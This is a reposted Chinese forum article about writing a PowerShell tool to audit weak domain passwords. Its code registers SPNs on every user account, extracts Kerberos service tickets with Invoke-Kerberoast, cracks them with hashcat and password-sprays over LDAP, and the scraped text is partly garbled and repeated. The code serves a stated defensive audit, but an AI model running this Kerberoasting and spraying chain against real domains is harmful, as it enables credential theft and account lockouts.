搜索

[14812] 2019-11-13_记一次编写域账号弱口令审计工具

文档创建者：s7ckTeam
浏览次数：5
最后更新：2025-01-18
2019-11-13_记一次编写域账号弱口令审计工具 记 一 次 编 写 域 账 号 弱 口 令 审 计 工 具 j e r r y b i r d   F r e e B u f   2 0 1 9 - 1 1 - 1 3 0 x 0 0   背 景 背 景 为 了 进 行 相 关 安 全 方 面 的 认 证 ， 需 要 对 公 司 域 环 境 内 员 工 账 号 的 密 码 进 行 审 计 ， 作 为 一 名 刚 从 事 信 息 安 全 的 人 员 ， 尝 试 在 本 身 为 了 进 行 相 关 安 全 方 面 的 认 证 ， 需 要 对 公 司 域 环 境 内 员 工 账 号 的 密 码 进 行 审 计 ， 作 为 一 名 刚 从 事 信 息 安 全 的 人 员 ， 尝 试 在 本 身 拥 有 的 权 限 以 内 ， 在 不 影 响 其 他 员 工 日 常 工 作 、 不 影 响 服 务 器 正 常 运 行 的 情 况 下 ， 审 计 出 使 用 弱 密 码 作 为 登 录 口 令 的 员 工 。 拥 有 的 权 限 以 内 ， 在 不 影 响 其 他 员 工 日 常 工 作 、 不 影 响 服 务 器 正 常 运 行 的 情 况 下 ， 审 计 出 使 用 弱 密 码 作 为 登 录 口 令 的 员 工 。 0 x 0 1   过 程 过 程 0 x 0 1 0 1   L D A P 尝 试 尝 试 因 为 员 工 的 电 脑 都 处 于 一 个 域 环 境 下 ， 因 而 所 有 的 账 号 密 码 都 保 存 在 域 控 的 一 个 数 据 库 中 。 刚 开 始 想 到 可 以 使 用 P o w e r s h e l l 通 过 L D A P 向 域 控 发 送 用 户 名 和 密 码 一 个 个 进 行 爆 破 尝 试 然 而 因 为 域 环 境 下 为 设 定 了 账 户 锁 定 策 略 ， 连 续 尝 试 5 次 失 败 后 ， 会 被 锁 定 3 0 m i n ， 会 严 重 影 响 到 被 锁 定 账 户 员 工 的 工 作 。 因 而 这 条 思 路 对 同 一 个 用 户 只 能 尝 试 5 次 ， 走 不 通 。 0 x 0 1 0 2   K e r b e r o s 尝 试 尝 试 1 .   想 到 域 环 境 下 通 常 使 用 K e r b e r o s 作 为 网 络 认 证 协 议 ， 可 以 利 用 黄 金 票 据 和 白 银 票 据 来 进 行 渗 透 测 试 。 黄 金 票 据 ： 黄 金 票 据 是 要 伪 造 出 A S 颁 发 给 C l i e n t 的 T G T ， 伪 造 的 其 中 一 个 条 件 就 是 要 获 得 K D C 的 K R B T G T 账 户 的 密 钥   *   然 而 自 身 只 拥 有 一 台 公 司 发 的 工 作 电 脑 ， 域 控 管 理 员 没 有 在 这 台 电 脑 上 登 录 过 ， 因 而 也 就 无 法 通 过 m i m i k a t z 工 具 提 取 到 权 限 较 大 的 管 理 员 的 账 户 口 令 。 白 银 票 据 ： 白 银 票 据 是 要 伪 造 出 T G S 颁 发 给 C l i e n t 的 S T ， 伪 造 的 其 中 一 个 条 件 就 是 要 获 得 特 定 S e r v i c e   S e r v e r 的 账 号 密 码 。 通 过 白 银 票 据 ， 可 以 访 问 特 定 S e r v i c e   S e r v e r 上 的 所 有 资 源 。 2 .   我 的 目 的 在 于 如 何 获 得 特 定 S e r v i c e   S e r v e r 的 账 号 密 码 ， 这 里 有 一 个 重 点 。 域 内 电 脑 通 常 有 两 个 账 户 ， 一 个 是 域 计 算 机 账 户 ， 可 以 使 用 n e t   g r o u p   “ d o m a i n   c o m p u t e r s ”   / d o m a i n 进 行 查 看 : 域 计 算 机 账 户 的 密 码 是 自 动 生 成 的 ， 通 常 在 1 2 8 位 及 以 上 ， 很 难 破 解
一 个 是 域 用 户 账 户 ， 可 以 使 用 n e t   g r o u p   “ d o m a i n   u s e r s ”   / d o m a i n 进 行 查 看 : 域 用 户 账 户 的 密 码 是 用 户 自 己 设 置 ， 按 照 账 户 密 码 策 略 进 行 设 置 3 .   如 果 熟 悉 K e r b e r o s 协 议 ， 我 们 了 解 到 在 第 四 步 ， T G S 会 返 回 给 C l i e n t 一 个 用 户 特 定 S e r v i c e   S e r v e r 账 户 密 码 的 N T   H a s h 加 密 的 S T ， 我 们 可 以 尝 试 对 S T 进 行 爆 破 ， 进 而 得 到 特 定 S e r v i c e   S e r v e r 账 户 的 密 码 。 这 里 我 只 说 了 S e r v i c e   S e r v e r 账 户 ， 是 因 为 这 里 也 有 一 个 重 点 。 这 里 的 S e r v i c e   S e r v e r   也 有 两 种 ， 是 根 据 域 账 户 的 类 型 来 进 行 分 类 的 。 S e r v i c e   S e r v e r 有 一 个 专 门 的 名 称 ， 即 S P N （ S e r v i c e   S h y s i c a l N a m e , 服 务 实 体 名 称 , 可 以 通 过 s e t s p n   - T - q   / 查 询 现 在 已 注 册 的 所 有 的 S P N 。 4 .   因 为 员 工 都 是 个 人 电 脑 ， 所 以 上 面 查 到 的 基 本 都 是 域 计 算 机 账 户 加 入 域 时 自 动 注 册 的 S P N ， 这 里 便 需 要 我 们 尝 试 为 员 工 的 域 账 户 注 册 S P N 。 可 以 通 过 s e t s p n   - A   S e r v i c e C l a s s / 注 册 S P N 5 .   之 后 我 们 便 可 以 进 行 K e r b e r o s 的 第 三 步 以 获 取 S T , 利 用 I n v o k e - K e r b e r o a s t . p s 1 以 h a s h c a t 格 式 导 出 S T 6 .   利 用 h a s h c a t 工 具 进 行 爆 破 0 x 0 2   工 具 编 写 思 路 工 具 编 写 思 路 抓 取 所 有 的 域 用 户 服 务 账 户 清 洗 得 到 的 数 据 放 入 账 户 列 表 中 *       在 计 算 机 加 入 到 域 中 时 会 自 动 使 用 * * 域 计 算 机 账 户 域 计 算 机 账 户 * * 注 册 S P N ；         *       ! [ 1 5 7 3 4 5 0 0 7 0 _ 5 d c 8 f 1 5 6 5 7 9 5 1 . p n g ! s m a l l ] ( h t t p s : / / i m a g e . 3 0 0 1 . n e t / i m a g e s / 2 0 1 9 1 1 1 1 / 1 5 7 3 4 5 0 0 7 0 _ 5 d c 8 f 1 5 6 5 7 9 5 1 . p n g ! s m a l l ) *       另 一 种 时 以 * * 域 用 户 账 户 域 用 户 账 户 * * 的 身 份 手 动 注 册 S P N 。         *       ! [ 1 5 7 3 4 5 0 0 8 3 _ 5 d c 8 f 1 6 3 4 1 3 b 3 . p n g ! s m a l l ] ( h t t p s : / / i m a g e . 3 0 0 1 . n e t / i m a g e s / 2 0 1 9 1 1 1 1 / 1 5 7 3 4 5 0 0 8 3 _ 5 d c 8 f 1 6 3 4 1 3 b 3 . p n g ! s m a l l )
为 每 一 个 域 用 户 账 户 注 册 S P N 将 注 册 成 功 的 域 用 户 账 户 的 S P N 放 进 一 个 列 表 访 问 列 表 中 的 每 一 个 S P N ， 使 用 m i m i k a t z 导 出 缓 存 的 上 面 各 个 S P N 的 服 务 凭 据 或 使 用 I n v o k e - K e r b e r o a s t 以 H a s h c a t 格 式 导 出 每 个 S P N 的 S T 的 H a s h 利 用 t g s r e p c r a c k . p y 爆 破 上 面 的 服 务 凭 据 或 利 用 h a s h c a t 工 具 爆 破 上 面 得 到 的 H a s h 0 x 0 3   代 码 代 码 < # d o m a i n A c c o u n t C h e c k . p s 1 A u t h o r :   J C   ( @ c h r o b l e r t ) # > #   得 到 域 中 所 有 的 用 户 f u n c t i o n   G e t - U s e r L i s t {         #   将 包 含 域 用 户 账 户 的 结 果 保 存 到 $ r e s u l t L i s t 中 去         $ r e s u l t L i s t   =   n e t   g r o u p   " d o m a i n   u s e r s "   / d o m a i n   | % {   $ _   - s p l i t   "   " } | % {   i f   ( $ _   - n e   " " ) { $ _ . t r i m ( ) } }         #   上 述 列 表 中 ， 包 含 一 些 杂 乱 的 数 据 ， 需 要 将 其 进 行 清 洗         f o r e a c h   ( $ l i n e   i n   $ r e s u l t L i s t ) {                 i f ( $ l i n e . c o n t a i n s ( " - - - " ) ) {                         $ s t a r t   =   $ r e s u l t L i s t . i n d e x o f ( $ l i n e )   +   1                         #   减 去 2 是 因 为 最 后 一 个 的 下 标 比 数 量 少 1 ， 且 最 后 一 个 不 是 有 效 的 账 户                         $ e n d   =   $ r e s u l t L i s t . c o u n t   -   2                   }         }         $ u s e r L i s t A   =   $ r e s u l t L i s t [ $ s t a r t . . $ e n d ]         $ u s e r L i s t   =   N e w - O b j e c t   S y s t e m . C o l l e c t i o n s . A r r a y L i s t         f o r e a c h   ( $ u s e r   i n   $ u s e r L i s t A ) {                 i f (   - N o t   $ u s e r . c o n t a i n s ( " $ " ) ) {                         $ u s e r L i s t . a d d ( $ u s e r ) | O u t - N u l l                 }         }         W r i t e - H o s t   " 保 存 域 中 所 有 的 域 用 户 账 号 到 . r e s u l t a l l U s e r L i s t . t x t 文 件 中 去 "         $ u s e r L i s t   |   O u t - F i l e   " . r e s u l t a l l U s e r L i s t . t x t "         r e t u r n   $ u s e r L i s t . c l o n e ( ) } #   为 域 用 户 账 户 注 册 S P N f u n c t i o n   S e t - S P N {         P a r a m (                 [ S y s t e m . C o l l e c t i o n s . A r r a y L i s t ]   $ a l l U s e r L i s t         )         i f ( $ a l l U s e r L i s t   - e q   $ n u l l ) {                 i f ( T e s t - P a t h   " . r e s u l t a l l U s e r L i s t . t x t " ) {                         W r i t e - H o s t   " 使 用 r e s u l t 目 录 下 的 a l l U s e r L i s t . t x t 文 件 进 行 操 作 "                         $ a l l U s e r L i s t   =   G e t - C o n t e n t   . r e s u l t a l l U s e r L i s t . t x t                   } e l s e {                         W r i t e - H o s t   " 参 数 值 错 误 ， 且 不 存 在 a l l U s e r L i s t . t x t 文 件 , E X I T "                         r e t u r n   $ f a l s e                 }         }         $ s u c U s e r L i s t   =   N e w - O b j e c t   S y s t e m . C o l l e c t i o n s . A r r a y L i s t         $ f a i U s e r L i s t   =   N e w - O b j e c t   S y s t e m . C o l l e c t i o n s . A r r a y L i s t
        $ s u c S P N L i s t   =   N e w - O b j e c t   S y s t e m . C o l l e c t i o n s . A r r a y L i s t         $ f a i S P N L i s t   =   N e w - O b j e c t   S y s t e m . C o l l e c t i o n s . A r r a y L i s t         $ a l l U s e r A n d S P N L i s t   =   N e w - O b j e c t   S y s t e m . C o l l e c t i o n s . A r r a y L i s t         f o r e a c h   ( $ n u m   i n   1 . . $ a l l U s e r L i s t . c o u n t ) {                 #   将 要 执 行 的 命 令 进 行 动 态 拼 接                 $ S P N S t r   =   " w e a k P a s s w o r d T e s t / J C - I S D e v i l "   +   $ n u m                 $ u s e r S t r   =   $ a l l U s e r L i s t [ $ n u m - 1 ]                 $ a l l U s e r A n d S P N L i s t . a d d ( $ u s e r S t r   +   " | # | "   +   $ S P N S t r )   |   O u t - N u l l                 #   执 行 包 含 命 令 的 字 符 串                 #   使 用 I n v o k e - E x p r e s s i o n 后 不 知 如 何 判 断 字 符 串 命 令 执 行 的 结 果 ， 因 而 弃 用                 # I n v o k e - E x p r e s s i o n   $ s e t S t r                 #   r e d i r e c t   e r r o r   s t r e a m ( 2 )   t o   s u c c e s s   s t r e a m ( 1 )                 s e t s p n   - S   $ S P N S t r   - U   $ u s e r S t r   2 > & 1   |   O u t - N u l l                 i f   ( $ ?   - c o n t a i n s   " T r u e " ) {                         W r i t e - H o s t   - F o r e g r o u n d C o l o r   G r e e n   " 【 + 】 "   $ u s e r S t r   " 注 册 成 功 "                         $ s u c U s e r L i s t . a d d ( $ u s e r S t r )   |   O u t - N u l l                         $ s u c S P N L i s t . a d d ( $ S P N S t r )   |   O u t - N u l l                 } e l s e {                         W r i t e - H o s t   - F o r e g r o u n d C o l o r   R e d   " 【 - 】 "   $ u s e r S t r   " 注 册 失 败 "                         $ f a i U s e r L i s t . a d d ( $ u s e r S t r ) | O u t - N u l l                 }                 #   暂 停   等 待 用 户 输 入 数 据                 #   R e a d - H o s t         }         W r i t e - H o s t   " 保 存 所 有 u s e r 和 S P N 到 . r e s u l t a l l U s e r A n d S P N L i s t . t x t 文 件 中 去 "         $ a l l U s e r A n d S P N L i s t   |   O u t - F i l e   " . r e s u l t a l l U s e r A n d S P N L i s t . t x t "         W r i t e - H o s t   " 保 存 注 册 S P N 成 功 的 域 用 户 账 号 到 . r e s u l t s u c U s e r L i s t . t x t 文 件 中 去 "         $ s u c U s e r L i s t   |   O u t - F i l e   " . r e s u l t s u c U s e r L i s t . t x t "         W r i t e - H o s t   " 保 存 注 册 S P N 成 功 的 S P N 到 . r e s u l t s u c S P N L i s t . t x t 文 件 中 去 "         $ s u c S P N L i s t   |   O u t - F i l e   " . r e s u l t s u c S P N L i s t . t x t "         W r i t e - H o s t   " 保 存 注 册 S P N 失 败 的 域 用 户 账 号 到 . r e s u l t f a i U s e r L i s t . t x t 文 件 中 去 "         $ f a i U s e r L i s t   |   O u t - F i l e   " . r e s u l t f a i U s e r L i s t . t x t "         r e t u r n   $ s u c U s e r L i s t , $ s u c S P N L i s t , $ f a i U s e r L i s t } f u n c t i o n   D e l - S P N {         P a r a m (                 [ S y s t e m . C o l l e c t i o n s . A r r a y L i s t ]   $ s u c S P N L i s t A ,                 [ S y s t e m . C o l l e c t i o n s . A r r a y L i s t ]   $ s u c U s e r L i s t A         )         i f   ( $ s u c S P N L i s t A   - e q   $ n u l l   - o r   $ s u c U s e r L i s t A   - e q   $ n u l l ) {                 i f ( T e s t - P a t h   ' . r e s u l t s u c S P N L i s t . t x t '   - a n d   T e s t - P a t h   " . r e s u l t s u c U s e r L i s t . t x t " ) {                         W r i t e - H o s t   " 传 参 错 误 ， 将 启 用 文 件 s u c S P N L i s t . t x t 和 s u c U s e r L i s t . t x t 中 的 内 容 "                         $ s u c S P N L i s t A   =   G e t - C o n t e n t   . r e s u l t s u c S P N L i s t . t x t                             $ s u c U s e r L i s t A   =   G e t - C o n t e n t   . r e s u l t s u c U s e r L i s t . t x t                   } e l s e {                         W r i t e - H o s t   " 传 参 错 误 且 相 关 文 件 不 存 在 ， E X I T "                         r e t u r n   $ f a l s e                 }         }         i f   ( $ s u c S P N L i s t A . c o u n t   - n e   $ s u c U s e r L i s t A . c o u n t ) {                 W r i t e - H o s t   " S P N 数 量 与 用 户 数 量 不 等 ， E X I T "                 r e t u r n   $ f a l s e         }         i f   ( $ s u c S P N L i s t A . c o u n t   - e q   0   - O R   $ s u c U s e r L i s t A . c o u n t   - e q   0 ) {                 W r i t e - H o s t   " 数 组 为 空 ， E X I T "                 r e t u r n   $ f a l s e         }
        }         f o r e a c h   ( $ s p n S t r   i n   $ s u c S P N L i s t A ) {                 s e t s p n   - D   $ s p n S t r   $ s u c U s e r L i s t A [ $ s u c S P N L i s t A . i n d e x o f ( $ s p n S t r ) ]   2 > & 1   | O u t - N u l l                 i f ( $ ?   - c o n t a i n s   " T r u e " )   {                         W r i t e - H o s t   " 删 除 成 功 "                 } e l s e {                         W r i t e - H o s t   " 删 除 失 败 "                 }         }         W r i t e - H o s t   " 全 部 删 除 成 功 " } #   访 问 S P N 得 到 T G S 发 放 的 服 务 票 据 S T , 提 取 其 中 的 H a s h 值 并 保 存 到 k r b s t H a s h . t x t 文 件 中 去 f u n c t i o n   G e t - S e r v i c e T i c k e t {         P a r a m (                 [ S t r i n g ]   $ k r b s t H a s h F i l e N a m e         )         I m p o r t - M o d u l e   . / k e r b e r o a s t / I n v o k e - K e r b e r o a s t . p s 1         #   S e t - C o n t e n t   以 A N S I 编 码 方 式 保 存 文 件 ； O u t - F i l e   默 认 以 U n i c o d e 方 式 保 存 文 件 ， 因 而 需 要 指 定 编 码 格 式         I n v o k e - K e r b e r o a s t   - O u t p u t F o r m a t   H a s h c a t | s e l e c t   h a s h | % { $ _ . H a s h } | O u t - F i l e   $ k r b s t H a s h F i l e N a m e   - E n c o d i n g   a s c i i } #   引 入 t g s c r a c k 来 爆 破 下 载 下 来 的 凭 据 f u n c t i o n   C r a c k - S e r v i c e T i c k e t {         P a r a m (                 [ S t r i n g ]   $ k r b s t H a s h F i l e N a m e ,                 [ S t r i n g ]   $ p a s s w d D i c t F i l e N a m e         )         W r i t e - H o s t   " 正 在 爆 破 中 i n g . . . . . . . 请 稍 等 "         i f ( ( T e s t - P a t h   $ k r b s t H a s h F i l e N a m e )   - a n d   ( T e s t - P a t h   $ p a s s w d D i c t F i l e N a m e ) ) {                 . h a s h c a t h a s h c a t 6 4 . e x e   - m   1 3 1 0 0   - a   0   $ k r b s t H a s h F i l e N a m e   $ p a s s w d D i c t F i l e N a m e   - o   " . s u c c e e d . t x t "   - - f o r c e                 i f ( T e s t - P a t h   " . r e s u l t s u c c e e d . t x t " ) {                         $ h a s h A n d P a s s w d L i s t   =   G e t - C o n t e n t   " . r e s u l t s u c c e e d . t x t "                         $ u s e r A n d P a s s w d L i s t   =   N e w - O b j e c t   S y s t e m . C o l l e c t i o n s . A r r a y L i s t                         f o r e a c h ( $ i t e m   i n   $ h a s h A n d P a s s w d L i s t ) {                                 $ u s e r S t r   =   ( $ i t e m . s p l i t ( " $ " ) [ 3 ] ) . s p l i t ( " * " ) [ 1 ]                                 $ p a s s w d S t r   =   $ i t e m . s p l i t ( " : " ) [ 1 ]                                 $ u s e r A n d P a s s w d   =   $ u s e r S t r   +   " | # | "   +   $ p a s s w d S t r                                 W r i t e - H o s t   - F o r e g r o u n d C o l o r   G r e e n   " 【 + 】 "   $ u s e r A n d P a s s w d                                 $ u s e r A n d P a s s w d L i s t . a d d ( $ u s e r A n d P a s s w d )   |   O u t - N u l l                         }                 } e l s e {                         W r i t e - H o s t   " 没 有 从 密 码 字 典 中 审 计 出 弱 口 令 "                         r e t u r n   $ f a l s e                 }         } e l s e {                 W r i t e - H o s t   " 相 关 文 件 不 存 在 ， E X I T "                 r e t u r n   $ f a l s e         }         W r i t e - H o s t   " 将 破 解 出 的 用 户 名 和 密 码 保 存 到 . r e s u l t u s e r A n d P a s s w d L i s t . t x t 文 件 中 去 "         $ u s e r A n d P a s s w d L i s t   |   O u t - F i l e   " . r e s u l t u s e r A n d P a s s w d L i s t . t x t " } f u n c t i o n   L D A P C h e c k {         W r i t e - H o s t   - F o r e g r o u n d C o l o r   Y e l l o w   " 使 用 该 项 功 能 需 注 意 ， 很 容 易 锁 住 账 户 "         $ t m p F i l e   =   " . / r e s u l t / t m p P a s s w d . t x t "         i f ( T e s t - P a t h   " . / r e s u l t / u s e r A n d P a s s w d L i s t . t x t " ) {                 G e t - C o n t e n t   . r e s u l t u s e r A n d P a s s w d L i s t . t x t | % { $ _ . s p l i t ( ' | # | ' ) [ 3 ] } | s o r t   - U n i q u e   |   O u t - F i l e   - E n c o d i n g   a s c i i   $ t m p F i l e         } e l s e {                 W r i t e - H o s t   - F o r e g r o u n d C o l o r   Y e l l o w   " 之 前 没 有 审 计 出 弱 口 令 ， 请 在 r e s u l t 目 录 下 新 建 t m p P a s s w d . t x t 文 件 ， 在 里 面 放 入 密 码 ， 每 行 一 个 "
                W r i t e - H o s t   - F o r e g r o u n d C o l o r   Y e l l o w   " 之 前 没 有 审 计 出 弱 口 令 ， 请 在 r e s u l t 目 录 下 新 建 t m p P a s s w d . t x t 文 件 ， 在 里 面 放 入 密 码 ， 每 行 一 个 "                 b r e a k         }         i f ( T e s t - P a t h   $ t m p F i l e ) {                 I m p o r t - M o d u l e   . / k e r b e r o a s t / D o m a i n P a s s w o r d S p r a y . p s 1                 I n v o k e - D o m a i n P a s s w o r d S p r a y   - P a s s w o r d L i s t   $ t m p F i l e   - O   " L D A P C h e c k R e s u l t . t x t "         } } #   创 建 一 个 用 来 保 存 结 果 的 目 录 i f ( - N o t   ( T e s t - P a t h   " . r e s u l t " ) ) {         N e w - I t e m   - I t e m T y p e   D i r e c t o r y   " r e s u l t " } #   m e n u $ k r b s t H a s h F i l e   =   " . k r b s t H a s h . t x t " $ p a s s w d D i c t F i l e   =   " . D i c t s J C P a s s w d . t x t " D o   {         W r i t e - H o s t   " = = = = = = d o m a i n A c o u n t C h e c k = = = = = = "         W r i t e - H o s t   " | |             A u t h o r : J C                     | | "         W r i t e - H o s t   " | |             V e r s i o n : 2 . 0 . 1             | | "         W r i t e - H o s t   " = = = = = = = = = = = = = = = = = = = = = = = = = = = = = "         W r i t e - H o s t   " = = =                   选 项                     = = = "         W r i t e - H o s t   " |   1   获 取 域 内 所 有 域 用 户 账 户 "         W r i t e - H o s t   " |   2   为 域 内 的 所 有 用 户 账 户 尝 试 注 册 S P N "         W r i t e - H o s t   " |   3   获 取 现 有 S P N 的 凭 据 的 H a s h "         W r i t e - H o s t   " |   4   爆 破 获 得 的 H a s h "         W r i t e - H o s t   " |   5   删 除 注 册 的 S P N "         W r i t e - H o s t   " |   6   使 用 S P N 审 计 获 得 的 密 码 通 过 L D A P 方 式 再 次 进 行 审 计 "         W r i t e - H o s t   " |   7   全 部 运 行 "         W r i t e - H o s t   " |   0   E X I T "         $ c h o i c e   =   R e a d - H o s t   " 请 选 择 一 个 选 项 进 行 操 作 ` n > > "         s w i t c h ( $ c h o i c e ) {                 1   {                         W r i t e - H o s t   " 获 取 到 所 有 的 域 用 户 账 户 "                         $ a l l U s e r L i s t   =   G e t - U s e r L i s t                         b r e a k                 }                 2   {                         R e a d - H o s t   " 为 每 一 个 域 用 户 账 号 注 册 S P N "                         $ s u c U s e r L i s t , $ s u c S P N L i s t , $ f a i U s e r L i s t   =   S e t - S P N   $ a l l U s e r L i s t                         b r e a k                 }                 3   {                         G e t - S e r v i c e T i c k e t   $ k r b s t H a s h F i l e                         b r e a k                         }                 4   {                         C r a c k - S e r v i c e T i c k e t   $ k r b s t H a s h F i l e   $ p a s s w d D i c t F i l e                         b r e a k                 }                 5   {                         R e a d - H o s t   " 下 面 将 要 为 注 册 S P N 成 功 的 域 用 户 账 户 删 除 S P N "                         D e l - S P N   $ s u c S P N L i s t   $ s u c U s e r L i s t                         b r e a k                 }                 6   {                         L D A P C h e c k                         b r e a k                 }
上 面 为 主 要 代 码 ， 全 部 代 码 在 G i t H u b : h t t p s : / / g i t h u b . c o m / c h r o b l e r t / d o m a i n W e a k P a s s w d C h e c k 0 x 0 4   使 用 使 用 填 充 密 码 字 典 文 件 d i c t s / J C P a s s w d . t x t p o w e r s h e l l 下 运 行 运 行 后 结 果 ：                 7   {                         #   1 .   获 取 用 户                         W r i t e - H o s t   " 获 取 到 所 有 的 域 用 户 账 户 "                         $ a l l U s e r L i s t   =   G e t - U s e r L i s t                         #   2 .   注 册 S P N                         R e a d - H o s t   " 为 每 一 个 域 用 户 账 号 注 册 S P N "                         $ s u c U s e r L i s t , $ s u c S P N L i s t , $ f a i U s e r L i s t   =   S e t - S P N   $ a l l U s e r L i s t                         #   3 .   访 问 S P N 获 得 S T , 并 以 h a s h c a t 模 式 保 存 到 文 件 k r b s t H a s h . t x t 中                         G e t - S e r v i c e T i c k e t   $ k r b s t H a s h F i l e                         #   4 .   使 用 h a s h c a t 爆 破 S T 中 h a s h 对 应 的 口 令                         C r a c k - S e r v i c e T i c k e t   $ k r b s t H a s h F i l e   $ p a s s w d D i c t F i l e                         #   5 .   删 除 S P N                         R e a d - H o s t   " 下 面 将 要 为 注 册 S P N 成 功 的 域 用 户 账 户 删 除 S P N "                         D e l - S P N   $ s u c S P N L i s t   $ s u c U s e r L i s t                         b r e a k                 }                 0   {                                 W r i t e - H o s t   " 相 关 结 果 文 件 ， 请 到 r e s u l t 目 录 查 看 "                         r e t u r n   $ f a l s e                         b r e a k                 }                 d e f a u l t   { " 请 重 新 选 择 ` n " }         } } W h i l e ( $ t r u e )
* 本 文 作 者 ： 本 文 作 者 ： j e r r y b i r d ， 转 载 请 注 明 来 自 ， 转 载 请 注 明 来 自 F r e e B u f . C O M 精 彩 推 荐 精 彩 推 荐
阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理